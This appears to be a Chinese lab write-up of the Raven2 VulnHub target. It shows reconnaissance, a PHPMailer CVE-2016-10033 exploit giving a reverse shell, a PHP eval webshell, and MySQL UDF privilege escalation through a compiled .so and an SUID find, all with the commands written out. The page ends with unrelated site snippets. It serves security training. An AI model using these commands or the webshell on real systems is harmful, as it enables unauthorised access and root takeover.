UDF提权

目录

一、UDF概述

二、提权条件

三、漏洞复现

(一) 信息收集

1. Nmap信息收集

1.1、查看当前IP地址

1.2、扫描当前网段,找出目标机器

1.3、快速扫描目标机全端口

2. dirb目录扫描

3. 第一个flag

3.1、目录遍历漏洞

3.2、flag

4. 敏感信息利用

(二) 漏洞利用

1. searchsploit工具搜索exp

2. 更改exp中所需参数

3. 运行exp并开启nc监听

4. 访问exp生成的用于反弹shell的php文件

5. 第二和三个flag

(三) 蚁剑操作

1. 写入一句话木马

2. 蚁剑连接

3. 查看配置信息

(四) 寻找exp

1. searchsploit工具搜索exp

2. ChatGPT解读EXP内容

(五) 提权操作

1. 编译.c文件为.so文件

2. 将bug.so文件传入目标机中

3. 连接数据库

4. 数据库操作

5. 验证是否提权成功

6. 第四个flag


环境:https://download.vulnhub.com/raven/Raven2.ova

一、UDF概述

当MYSQL权限比较高的时候我们就可以利用UDF提权。

UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)

UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。

文件后缀为.dll.so,常用c语言编写。

UDF在MySQL5.1以后的版本,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’常用c语言编写。

MySQL5.1以上的版本,默认是没有plugin目录的,选择手动建立。

二、提权条件

其实这一步都无所谓,毕竟如果你操作系统提权失败,而恰巧目标使用的是MySQL,那孤注一掷吧。

如果MySQL也不行,什么方法都尝试了依旧无果,那只能请教一下红队大牛了(小的不行)

  • MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数
  • 拥有可以将udf.dll写入相应目录的权限。

三、漏洞复现

(一) 信息收集

1. Nmap信息收集

1.1、查看当前IP地址
┌──(root㉿hack)-[~]
└─# ifconfig eth0 | grep inetinet 192.168.20.130  netmask 255.255.255.0  broadcast 192.168.20.255inet6 fe80::823a:7455:6959:aac2  prefixlen 64  scopeid 0x20<link>

1.2、扫描当前网段,找出目标机器
┌──(root㉿hack)-[~]
└─# nmap -sP 192.168.20.0/24
/*
-s		指定扫描技术
-P		ping操作
-sP		使用ping操作来寻找存活主机
*/发现目标机为:192.168.20.137

1.3、快速扫描目标机全端口
┌──(root㉿hack)-[~]
└─# nmap -sS -p 1-65535 192.168.20.137
/*
-sS	SYN扫描技术
-p  指定端口
*/

2. dirb目录扫描

┌──(root㉿hack)-[~]
└─# dirb http://192.168.20.137/

3. 第一个flag

3.1、目录遍历漏洞

通过目录访问探索发现:http://192.168.20.137/vendor/ 存在目录遍历漏洞。

3.2、flag

眼疾手快的点了一下PATH发现flag信息以及绝对路径

4. 敏感信息利用

发现一个README.md的说明文档,打开看看。

发现PHPMailer并且版本为5.2,上网查询发现公开漏洞。

(二) 漏洞利用

1. searchsploit工具搜索exp

这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。

如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!

别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。

searchsploit phpMailer		#搜索关于phpMailer的expsearchsploit -m php/webapps/40974.py #将exp保存到当前工作目录中

2. 更改exp中所需参数

vim /root/40974.py
target	#修改为目标IP+端口
payload	#反弹shell的地址修改为攻击机的IP地址
fields→email	#修改为目标网址绝对路径(只要可以访问,放哪里都无所谓)

3. 运行exp并开启nc监听

┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...nc				#nc是netcat的简写,工具命令。
-l				#监听模式。使用此选项后,nc将会监听指定的端口。
-v				#启用详细的输出模式。使用此选项后,nc将会显示更多的信息和日志。
-p 4444		#这是nc的另一个选项,表示指定监听的端口号。在这个例子中,指定的端口号是4444。
┌──(root㉿hack)-[~]
└─# python 40974.py█████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ 
██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝
██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗
██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║
╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.comVersion 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski[+] SeNdiNG eVIl SHeLL To TaRGeT....
[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D
[+]  ExPLoITeD http://192.168.20.137/contact.php

4. 访问exp生成的用于反弹shell的php文件

使用浏览器访问:http://192.168.20.137/bug.php转到终端1,可以看到,成功反弹shell成功。
┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.20.130] from bogon [192.168.20.137] 40254
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

5. 第二和三个flag

$ find / -name "flag*" 2>/dev/null
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

这里用flag查询flag,发现只有2个,结合之前那一个,一共3个。

但是这个靶机中存在4个flag,用find没有查出来,猜测是有些目录是当前权限无法访问,所以没有查出来,我们下面开始进行提权操作。

(三) 蚁剑操作

1. 写入一句话木马

反正都是网站权限,写一个一句话木马,用蚁剑操作比较方便。

echo '<?php @eval($_REQUEST['bug']); ?>' > tu.php

2. 蚁剑连接

3. 查看配置信息

这篇文章的主题就是UDF提权,所以肯定是系统提权失败,才选择UDF提权、

信息收集看到网址框架是wordpress,所以我们直接选择去看它的配置文件。

在这个配置文件中看到了数据库账号和密码,并且数据库为MySQL

(四) 寻找exp

1. searchsploit工具搜索exp

这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。

如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!

别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。

searchsploit mysql UDF		#搜索关于mysql UDF的expsearchsploit -m linux/local/1518.c #将exp保存到当前工作目录中

2. ChatGPT解读EXP内容

(五) 提权操作

1. 编译.c文件为.so文件

┌──(root㉿hack)-[~]
└─# gcc -g -c 1518.c ┌──(root㉿hack)-[~]
└─# gcc -g -shared -o bug.so 1518.o -lc

将1518.c文件编译成.so文件
将C语言代码编译成.so文件(也称为共享对象文件)的作用是创建一个可供其他程序调用和链接的动态链接库。
这种动态链接库通常包含一组函数和符号,可以在运行时被其他程序加载和使用。.so文件可以被不同的程序共享使用,这样可以避免代码的重复编写和维护。
它提供了一种灵活的方式来共享和重用代码,从而提高开发效率和代码复用性。通常情况下,需要先将C语言代码编译为目标文件(.o文件),然后再将目标文件链接为共享库(.so文件)。
这是因为编译过程分为两个阶段:编译和链接。
编译阶段将源代码转换为目标文件,而链接阶段将目标文件与其他库文件进行连接,生成可执行文件或共享库。

2. 将bug.so文件传入目标机中

3. 连接数据库

4. 数据库操作

create table bug(line blob);
这条命令创建了一个名为"bug"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。insert into bug values(load_file('/tmp/bug.so'));
这条命令将指定路径(/tmp/bug.so)下的文件内容以二进制形式插入到"bug"表的"line"列中。
这里假设该文件是一个共享库文件。select * from bug into dumpfile '/usr/lib/mysql/plugin/bug.so';
这条命令从"bug"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/bug.so)
这里的目的是将"bug"表中的内容导出为一个共享库文件。create function do_system returns integer soname 'bug.so';
这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。
该函数通过指定的共享库文件(bug.so)进行加载。select do_system('chmod u+s /usr/bin/find');
这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。
这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。

5. 验证是否提权成功

(www-data:/tmp) $ touch tu
(www-data:/tmp) $ find tu -exec whoami \;
root

SUID权限:
它在执行过程中会临时获取文件所有者的权限,而不是执行它的用户的权限。
也就是说如果我执行了一个设置有SUID权限的文件,那么我在执行这个文件的权限就是root(含过程)。find命令	#指定要搜索的文件或目录的路径
tu				#文件
-exec			#"-exec" 是 find 命令中的一个选项,用于在找到匹配的文件或目录后执行指定的命令。
whoami		#在这个命令中,指定的命令是 "whoami",它用于显示当前用户的用户名。
\;				#是一个用于告诉 find 命令 "-exec" 选项结束的标志。在这个命令中,它表示命令执行的结尾。

6. 第四个flag

(www-data:/tmp) $ find tu -exec find / -name "flag*" 2>/dev/null \;
(www-data:/tmp) $ find tu -exec cat /root/flag4.txt \;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/751809.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ElasticSearch常见用法,看这一篇就够了(文末送书)

2024送书福利正式起航 关注「哪吒编程」&#xff0c;提升Java技能 文末送3本《一本书讲透Elasticsearch&#xff1a;原理、进阶与工程实践》 大家好&#xff0c;我是哪吒。 ElasticSearch是一款由Java开发的开源搜索引擎&#xff0c;它以其出色的实时搜索、稳定可靠、快速安…

土壤水分实测数据网站资源

农田土壤水分数据 貌似是站点数据&#xff0c;但是年份太老&#xff0c;而且也没找着下载的地方 2012年黄土高原土壤水分及相关土壤物理参数数据集 2007-2009年中国农业大学石羊河实验站玉米通量与生长观测数据集 2005&#xff5e;2014年CERN野外台站气象观测场土壤含水量数据…

一维差分(模板)

差分是前缀和的逆运算&#xff0c;对于一个数组a&#xff0c;其差分数组b的每一项都是a [ i ]和前一项a [ i − 1 ]的差。 注意&#xff1a;差分数组和原数组必须分开存放&#xff01;&#xff01;&#xff01;&#xff01; #include <iostream> using namespace std;t…

【回归预测】基于SSA-BP(麻雀搜索算法优化BP神经网络)的回归预测 多输入单输出【Matlab代码#69】

文章目录 【可更换其他算法&#xff0c;获取资源请见文章第6节&#xff1a;资源获取】1. BP神经网络2. 麻雀搜索算法3. SSA-BP神经网络模型的构建4. 部分代码展示5. 仿真结果展示 【可更换其他算法&#xff0c;获取资源请见文章第6节&#xff1a;资源获取】 1. BP神经网络 BP&…

算法:一些DFS的经验

DFS:可以看作是向下遍历树的模拟 剪枝&#xff1a;减少时间复杂度 一个dfs所需要具备的元素&#xff1a; 一&#xff0c;出口 1.出口&#xff1a;每一个进入的dfs的出口&#xff0c;可以是枚举全部元素后退出该dfs,也可以是大于层数或剪枝条件........ 二&#xff0c;向下搜…

Linux:系统初始化,内核优化,性能优化(3)

优化系统的文件句柄数&#xff08;全局&#xff09; 也就是系统的最大文件数量 查看最大数量 cat /proc/sys/fs/file-max 当我们的服务器有非常大的一个数据并发的时候十几二十万的文件需要去配置&#xff0c;可能这个是远远不够的&#xff0c;我们就要去修改 vim /etc/sy…

springboot换日志框架后爆SLF4J: Class path contains multiple SLF4J bindings的解决办法

sringboot原本使用的是logback日志框架&#xff0c;将它去掉&#xff0c;修改为log4j2日志框架后&#xff0c;往往会出现以下错误&#xff1a; SLF4J: Class path contains multiple SLF4J bindings. SLF4J: Found binding in [jar:file:/C:/Users/admin/.m2/repository/ch/qos…

NuGet程序包管理器

文章目录 1.为什么要用包管理工具&#xff1f;2.常用的包管理工具3.Net中的包管理工具4.使用方式4.1 命令行使用4.2 图形界面 5.Tips 1.为什么要用包管理工具&#xff1f; 开发过程中几乎不可避免地要使用第三方包&#xff0c;当然可以不用包管理器。对于开源的项目可以直接引用…

稀碎从零算法笔记Day20-LeetCode:回文链表

题型&#xff1a;链表、双指针 链接&#xff1a;206. 反转链表 - 力扣&#xff08;LeetCode&#xff09; 234. 回文链表 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;LeetCode 题目描述&#xff08;红字为笔者添加&#xff09; 给你一个单链表的头节点 head &…

基于Python的口罩佩戴识别的设计与实现(UI界面+MySQL数据库+YOLOv5+训练数据集+开题报告+中期检查+论文)

摘要 本文旨在基于Python开发一种口罩佩戴识别系统&#xff0c;通过深度学习技术实现对口罩佩戴情况的准确检测。采用了YOLOv5系列目标检测算法作为基础模型&#xff0c;并结合迁移学习进行训练和优化。同时&#xff0c;为了提供更好的用户体验&#xff0c;本系统还设计…

代码算法训练营day9 | 28. 实现 strStr() 、459.重复的子字符串

day9&#xff1a; 28. 实现 strStr()KMP的主要应用&#xff1a;什么是前缀表&#xff1a;前缀表是如何记录的&#xff1a; 如何计算前缀表&#xff1a;构造next数组&#xff1a;1、初始化2、处理前后缀不相同的情况3、处理前后缀相同的情况 代码&#xff1a; 459.重复的子字符串…

JUC之AQS

AQS抽象的队列同步器 public abstract class AbstractQueuedSynchronizerextends AbstractOwnableSynchronizerimplements java.io.Serializable {AbstractQueuedSynchronizer 是用来实现锁或者其他同步器组件的公共基础部分的抽象实现&#xff0c;是重量级基础框架及整个JUC体…

网络编程—DAY3

模拟面试 1.什么是IP地址 是给互联网上的每台主机分配的唯一标识 2.IP地址和mac地址的区别 mac地址是设备的硬件地址&#xff0c;ip地址是给主机分配的网络地址 3.当电脑从一个网络切换到另一个网络哪个会变 ip地址会变&#xff0c;mac地址不会变 4.什么是端口号 用于区…

不锈钢多功能电工剥线钳分线绕线剪线剥线钳剥线压线扒皮钳子

品牌&#xff1a;银隆 型号&#xff1a;089B绿色 材质&#xff1a;镍铬钢&#xff08;不锈钢&#xff09; 颜色分类&#xff1a;089B灰色,089B红色,089B绿色,089B黑色,089B橙色 功能齐集一身&#xff0c;一钳多用&#xff0c;多功能剥线钳。剥线&#xff0c;剪线&#xff…

Find My游戏机|苹果Find My技术与游戏机结合,智能防丢,全球定位

游戏机&#xff0c;又名电子游乐器是使用游戏软件进行玩乐的机器。依照进行游戏的方式的不同&#xff0c;又分为家用游戏机及掌上游戏机。游戏机也可以说是属于电脑的一种&#xff0c;电子游戏机针对影像、音效与操作机能进行特别的强化&#xff0c;也有各种的软件和硬件可供安…

wordpress子比主题7.6美化插件及新手零基础搭建教程源码下载

版权申请&#xff1a;本文A5资源网原创&#xff0c;经原创作者允许转载许可声明。下载地址http://a5.org.cn/a5_ziyuan/39172.html 本源码由网友在某宝二十几元购买&#xff0c;现分享给大家。下图为源码文件及演示图&#xff0c;安装教程比较详细新手零基础就可搭建 子比主…

交流互动系统|基于springboot框架+ Mysql+Java+Tomcat的交流互动系统设计与实现(可运行源码+数据库+设计文档)

推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含java&#xff0c;ssm&#xff0c;springboot的平台设计与实现项目系统开发资源&#xff08;可…

RoketMQ主从搭建

vim /etc/hosts# IP与域名映射&#xff0c;端口看自己的#nameserver 192.168.126.132 rocketmq-nameserver1 192.168.126.133 rocketmq-nameserver2# 注意主从节点不在同一个主机上 #broker 192.168.126.132 rocketmq-master1 192.168.126.133 rocketmq-master2#broker 192.168…

EMQX+InfluxDB+Grafana 构建物联网可视化平台

EMQXInfluxDBGrafana 构建物联网可视化平台 本文以常见物联网使用场景为例&#xff0c;介绍了如何利用 EMQ X MQTT 服务器 InfluxDB Grafana 构建物联网数据可视化平台&#xff0c;将物联网设备上传的时序数据便捷地展现出来。 在物联网项目中接入平台的设备数据和数据存储…

zookeeper快速入门四:在java客户端中操作zookeeper

系列文章&#xff1a; zookeeper快速入门一&#xff1a;zookeeper安装与启动-CSDN博客 zookeeper快速入门二&#xff1a;zookeeper基本概念-CSDN博客 zookeeper快速入门三&#xff1a;zookeeper的基本操作 先启动zookeeper服务端。 在maven引入zookeeper依赖。 <depende…